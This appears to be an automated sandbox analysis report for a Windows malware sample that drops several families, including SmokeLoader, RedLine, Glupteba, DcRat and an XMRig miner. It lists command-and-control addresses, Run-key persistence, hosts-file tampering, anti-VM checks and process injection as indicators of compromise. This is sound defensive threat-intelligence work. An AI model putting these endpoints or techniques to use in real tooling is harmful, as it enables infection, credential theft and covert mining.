Analysis
-
max time kernel
151s -
max time network
156s -
platform
windows10-2004_x64 -
resource
win10v2004-20231023-en -
resource tags
arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system -
submitted
24-11-2023 18:17
Static task
static1
Behavioral task
behavioral1
Sample
ea8ecda6aaf0a6560b614a46a33112caf8ab6404be64ced23fa202737ddbacbf.exe
Resource
win10v2004-20231023-en
General
-
Target
ea8ecda6aaf0a6560b614a46a33112caf8ab6404be64ced23fa202737ddbacbf.exe
-
Size
692KB
-
MD5
f2057621dafe3cf02981cb350fb8ad4d
-
SHA1
bf6ab848e5d91a425f04bbabb82575e9574dfcfb
-
SHA256
ea8ecda6aaf0a6560b614a46a33112caf8ab6404be64ced23fa202737ddbacbf
-
SHA512
691908a97884081e128efdecb1e6500a68492c2474c6949617f186bbc4a7f5f1369a95e74960b729475d41c5d1b9384e2589cc0fa9befc8b9a588d49509a398f
-
SSDEEP
12288:nMrvy90qCuyf+7apRUEglUwkYwLVeRk6EmYmY8BUs2Rww8lOXT+w3ZRbpPlZKfch:QyYRQEgnkYwUUmYmYY92RwDlOXaWTFXD
Malware Config
Extracted
smokeloader
2022
http://5.42.92.190/fks/index.php
Extracted
redline
taiga
5.42.92.51:19057
Extracted
redline
pixelfresh
194.49.94.11:80
Extracted
smokeloader
up3
Extracted
smokeloader
2020
http://host-file-host6.com/
http://host-host-file8.com/
Extracted
redline
@ytlogsbot
194.169.175.235:42691
Signatures
-
DcRat 4 IoCs
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
description ioc pid Process 2580 schtasks.exe 5004 schtasks.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" ea8ecda6aaf0a6560b614a46a33112caf8ab6404be64ced23fa202737ddbacbf.exe Set value (str) \REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" 31839b57a4f11171d6abc8bbc4451ee4.exe -
Detect Mystic stealer payload 4 IoCs
resource yara_rule behavioral1/memory/3948-21-0x0000000000400000-0x0000000000433000-memory.dmp mystic_family behavioral1/memory/3948-22-0x0000000000400000-0x0000000000433000-memory.dmp mystic_family behavioral1/memory/3948-23-0x0000000000400000-0x0000000000433000-memory.dmp mystic_family behavioral1/memory/3948-26-0x0000000000400000-0x0000000000433000-memory.dmp mystic_family -
Glupteba payload 13 IoCs
resource yara_rule behavioral1/memory/2428-121-0x0000000002E80000-0x000000000376B000-memory.dmp family_glupteba behavioral1/memory/2428-122-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/2428-151-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/2428-188-0x0000000002E80000-0x000000000376B000-memory.dmp family_glupteba behavioral1/memory/2428-190-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/1436-191-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/1436-239-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/1436-329-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/4852-351-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/4852-426-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/4852-501-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/4852-553-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/4852-583-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 6 IoCs
resource yara_rule behavioral1/memory/1004-37-0x0000000000400000-0x000000000043C000-memory.dmp family_redline behavioral1/files/0x0008000000022df1-66.dat family_redline behavioral1/files/0x0008000000022df1-70.dat family_redline behavioral1/memory/2368-73-0x0000000000D10000-0x0000000000D2E000-memory.dmp family_redline behavioral1/files/0x0007000000022e11-541.dat family_redline behavioral1/files/0x0007000000022e11-540.dat family_redline -
SectopRAT payload 3 IoCs
resource yara_rule behavioral1/files/0x0008000000022df1-66.dat family_sectoprat behavioral1/files/0x0008000000022df1-70.dat family_sectoprat behavioral1/memory/2368-73-0x0000000000D10000-0x0000000000D2E000-memory.dmp family_sectoprat -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs
description pid Process procid_target PID 4924 created 3240 4924 latestX.exe 14 PID 4924 created 3240 4924 latestX.exe 14 PID 4924 created 3240 4924 latestX.exe 14 PID 4924 created 3240 4924 latestX.exe 14 PID 4924 created 3240 4924 latestX.exe 14 PID 2916 created 3240 2916 updater.exe 14 PID 2916 created 3240 2916 updater.exe 14 PID 2916 created 3240 2916 updater.exe 14 PID 2916 created 3240 2916 updater.exe 14 PID 2916 created 3240 2916 updater.exe 14 PID 2916 created 3240 2916 updater.exe 14 -
XMRig Miner payload 2 IoCs
resource yara_rule behavioral1/memory/2916-520-0x00007FF6F4550000-0x00007FF6F4AF1000-memory.dmp xmrig behavioral1/memory/2844-556-0x00007FF7BA180000-0x00007FF7BA96F000-memory.dmp xmrig -
Downloads MZ/PE file
-
Drops file in Drivers directory 2 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts updater.exe File created C:\Windows\System32\drivers\etc\hosts latestX.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
pid Process 1680 netsh.exe -
Stops running service(s) 3 TTPs
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation B55.exe Key value queried \REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation 7zz9WB03.exe -
Executes dropped EXE 25 IoCs
pid Process 4956 OR9Ki82.exe 632 Ou7mI12.exe 5112 1hA46tI1.exe 4412 2eI0691.exe 1812 6cw7oj7.exe 2584 7zz9WB03.exe 624 B55.exe 2368 D2B.exe 2948 InstallSetup5.exe 4720 toolspub2.exe 4864 Broom.exe 2428 31839b57a4f11171d6abc8bbc4451ee4.exe 4924 latestX.exe 3656 toolspub2.exe 1436 31839b57a4f11171d6abc8bbc4451ee4.exe 2916 updater.exe 4852 csrss.exe 4648 injector.exe 3216 fhjgrbi 1880 windefender.exe 4820 windefender.exe 4700 fhjgrbi 3592 6838.exe 4880 6AC9.exe 1496 Current.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral1/files/0x0009000000022e0d-506.dat upx behavioral1/files/0x0009000000022e0d-510.dat upx behavioral1/files/0x0009000000022e0d-514.dat upx behavioral1/memory/1880-518-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral1/memory/4820-555-0x0000000000400000-0x00000000008DF000-memory.dmp upx -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 5 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" ea8ecda6aaf0a6560b614a46a33112caf8ab6404be64ced23fa202737ddbacbf.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" OR9Ki82.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" Ou7mI12.exe Set value (str) \REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" csrss.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
description ioc Process File opened for modification \??\WinMonFS csrss.exe -
Drops file in System32 directory 10 IoCs
description ioc Process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 7 IoCs
description pid Process procid_target PID 5112 set thread context of 3948 5112 1hA46tI1.exe 91 PID 1812 set thread context of 1004 1812 6cw7oj7.exe 103 PID 4720 set thread context of 3656 4720 toolspub2.exe 120 PID 2916 set thread context of 5100 2916 updater.exe 191 PID 2916 set thread context of 2844 2916 updater.exe 193 PID 3216 set thread context of 4700 3216 fhjgrbi 194 PID 1496 set thread context of 1100 1496 Current.exe 200 -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
description ioc Process File opened (read-only) \??\VBoxMiniRdrDN 31839b57a4f11171d6abc8bbc4451ee4.exe -
Drops file in Program Files directory 2 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe latestX.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Drops file in Windows directory 4 IoCs
description ioc Process File opened for modification C:\Windows\rss 31839b57a4f11171d6abc8bbc4451ee4.exe File created C:\Windows\rss\csrss.exe 31839b57a4f11171d6abc8bbc4451ee4.exe File created C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\windefender.exe csrss.exe -
Launches sc.exe 11 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3096 sc.exe 1952 sc.exe 3468 sc.exe 2520 sc.exe 4076 sc.exe 4704 sc.exe 4160 sc.exe 2276 sc.exe 336 sc.exe 1768 sc.exe 1660 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
pid pid_target Process procid_target 2180 3948 WerFault.exe 91 -
Checks SCSI registry key(s) 3 TTPs 9 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI fhjgrbi Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI fhjgrbi Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI fhjgrbi Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 2eI0691.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 2eI0691.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 2eI0691.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5004 schtasks.exe 2580 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1972 = "Belarus Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-3142 = "South Sudan Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-104 = "Central Brazilian Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1022 = "Bangladesh Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-462 = "Afghanistan Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2792 = "Novosibirsk Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2322 = "Sakhalin Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1892 = "Russia TZ 3 Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-241 = "Samoa Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-334 = "Jordan Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2611 = "Bougainville Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-511 = "Central Asia Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-692 = "Tasmania Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-352 = "FLE Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-791 = "SA Western Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4412 2eI0691.exe 4412 2eI0691.exe 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE 3240 Explorer.EXE -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 648 Process not Found -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 4412 2eI0691.exe 3656 toolspub2.exe 4700 fhjgrbi -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3240 Explorer.EXE Token: SeCreatePagefilePrivilege 3240 Explorer.EXE Token: SeShutdownPrivilege 3240 Explorer.EXE Token: SeCreatePagefilePrivilege 3240 Explorer.EXE Token: SeShutdownPrivilege 3240 Explorer.EXE Token: SeCreatePagefilePrivilege 3240 Explorer.EXE Token: SeShutdownPrivilege 3240 Explorer.EXE Token: SeCreatePagefilePrivilege 3240 Explorer.EXE Token: SeShutdownPrivilege 3240 Explorer.EXE Token: SeCreatePagefilePrivilege 3240 Explorer.EXE Token: SeShutdownPrivilege 3240 Explorer.EXE Token: SeCreatePagefilePrivilege 3240 Explorer.EXE Token: SeShutdownPrivilege 3240 Explorer.EXE Token: SeCreatePagefilePrivilege 3240 Explorer.EXE Token: SeShutdownPrivilege 3240 Explorer.EXE Token: SeCreatePagefilePrivilege 3240 Explorer.EXE Token: SeDebugPrivilege 2368 D2B.exe Token: SeShutdownPrivilege 3240 Explorer.EXE Token: SeCreatePagefilePrivilege 3240 Explorer.EXE Token: SeShutdownPrivilege 3240 Explorer.EXE Token: SeCreatePagefilePrivilege 3240 Explorer.EXE Token: SeShutdownPrivilege 3240 Explorer.EXE Token: SeCreatePagefilePrivilege 3240 Explorer.EXE Token: SeDebugPrivilege 4036 powershell.exe Token: SeShutdownPrivilege 3240 Explorer.EXE Token: SeCreatePagefilePrivilege 3240 Explorer.EXE Token: SeDebugPrivilege 2428 31839b57a4f11171d6abc8bbc4451ee4.exe Token: SeImpersonatePrivilege 2428 31839b57a4f11171d6abc8bbc4451ee4.exe Token: SeDebugPrivilege 3892 powershell.exe Token: SeDebugPrivilege 544 powershell.exe Token: SeShutdownPrivilege 3240 Explorer.EXE Token: SeCreatePagefilePrivilege 3240 Explorer.EXE Token: SeShutdownPrivilege 3240 Explorer.EXE Token: SeCreatePagefilePrivilege 3240 Explorer.EXE Token: SeDebugPrivilege 3052 powershell.exe Token: SeShutdownPrivilege 4480 powercfg.exe Token: SeCreatePagefilePrivilege 4480 powercfg.exe Token: SeShutdownPrivilege 956 powercfg.exe Token: SeCreatePagefilePrivilege 956 powercfg.exe Token: SeShutdownPrivilege 2116 powercfg.exe Token: SeCreatePagefilePrivilege 2116 powercfg.exe Token: SeShutdownPrivilege 3676 powercfg.exe Token: SeCreatePagefilePrivilege 3676 powercfg.exe Token: SeIncreaseQuotaPrivilege 3052 powershell.exe Token: SeSecurityPrivilege 3052 powershell.exe Token: SeTakeOwnershipPrivilege 3052 powershell.exe Token: SeLoadDriverPrivilege 3052 powershell.exe Token: SeSystemProfilePrivilege 3052 powershell.exe Token: SeSystemtimePrivilege 3052 powershell.exe Token: SeProfSingleProcessPrivilege 3052 powershell.exe Token: SeIncBasePriorityPrivilege 3052 powershell.exe Token: SeCreatePagefilePrivilege 3052 powershell.exe Token: SeBackupPrivilege 3052 powershell.exe Token: SeRestorePrivilege 3052 powershell.exe Token: SeShutdownPrivilege 3052 powershell.exe Token: SeDebugPrivilege 3052 powershell.exe Token: SeSystemEnvironmentPrivilege 3052 powershell.exe Token: SeRemoteShutdownPrivilege 3052 powershell.exe Token: SeUndockPrivilege 3052 powershell.exe Token: SeManageVolumePrivilege 3052 powershell.exe Token: 33 3052 powershell.exe Token: 34 3052 powershell.exe Token: 35 3052 powershell.exe Token: 36 3052 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4864 Broom.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 3240 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
